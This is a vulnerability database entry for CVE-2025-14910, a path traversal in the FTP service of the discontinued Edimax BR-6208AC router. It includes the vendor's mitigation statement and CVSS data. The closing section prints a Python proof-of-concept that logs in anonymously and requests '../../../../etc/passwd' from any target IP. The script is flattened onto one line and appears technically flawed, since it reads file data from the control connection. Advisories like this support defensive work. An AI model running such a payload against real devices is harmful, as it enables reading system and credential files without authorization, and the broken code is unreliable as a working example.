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CVE-2025-14910 CVSS 4.3 MEDIUM

CVE-2025-14910

Published: 2025-12-19 02:16:05
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was detected in Edimax BR-6208AC 1.02. This impacts the function handle_retr of the component FTP Daemon Service. The manipulation results in path traversal. The attack may be launched remotely. The exploit is now public and may be used. Edimax confirms this issue: "This product is no longer available in the market and has been discontinued for five years. Consequently, Edimax no longer provides technical support, firmware updates, or security patches for this specific model. However, to ensure the safety of our remaining active users, we acknowledge this report and will take the following mitigation actions: (A) We will issue an official security advisory on our support website. (B) We will strongly advise users to disable the FTP service on this device to mitigate the reported risk, by which the product will still work for common use. (C) We will recommend users upgrade to newer, supported models." This vulnerability only affects products that are no longer supported by the maintainer.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:edimax:br-6208ac_firmware:1.02:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:edimax:br-6208ac:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
Edimax BR-6208AC 1.02

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket def exploit_ftp_path_traversal(target_ip, target_port=21): """PoC for CVE-2025-14910: FTP Path Traversal in Edimax BR-6208AC""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) response = sock.recv(1024) print(f"[+] FTP Banner: {response.decode().strip()}") # Anonymous login sock.send(b"USER anonymous\r\n") response = sock.recv(1024) print(f"[*] Login response: {response.decode().strip()}") sock.send(b"PASS anonymous@\r\n") response = sock.recv(1024) print(f"[*] Pass response: {response.decode().strip()}") # Path traversal payload to read /etc/passwd # Using RETR command with ../ to traverse directories payload = "RETR ../../../../etc/passwd\r\n" print(f"[*] Sending path traversal payload: {payload.strip()}") sock.send(payload.encode()) # Receive file content response = sock.recv(8192) print(f"[+] File content:\n{response.decode()}") sock.send(b"QUIT\r\n") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = input("Enter target IP: ").strip() exploit_ftp_path_traversal(target)

References

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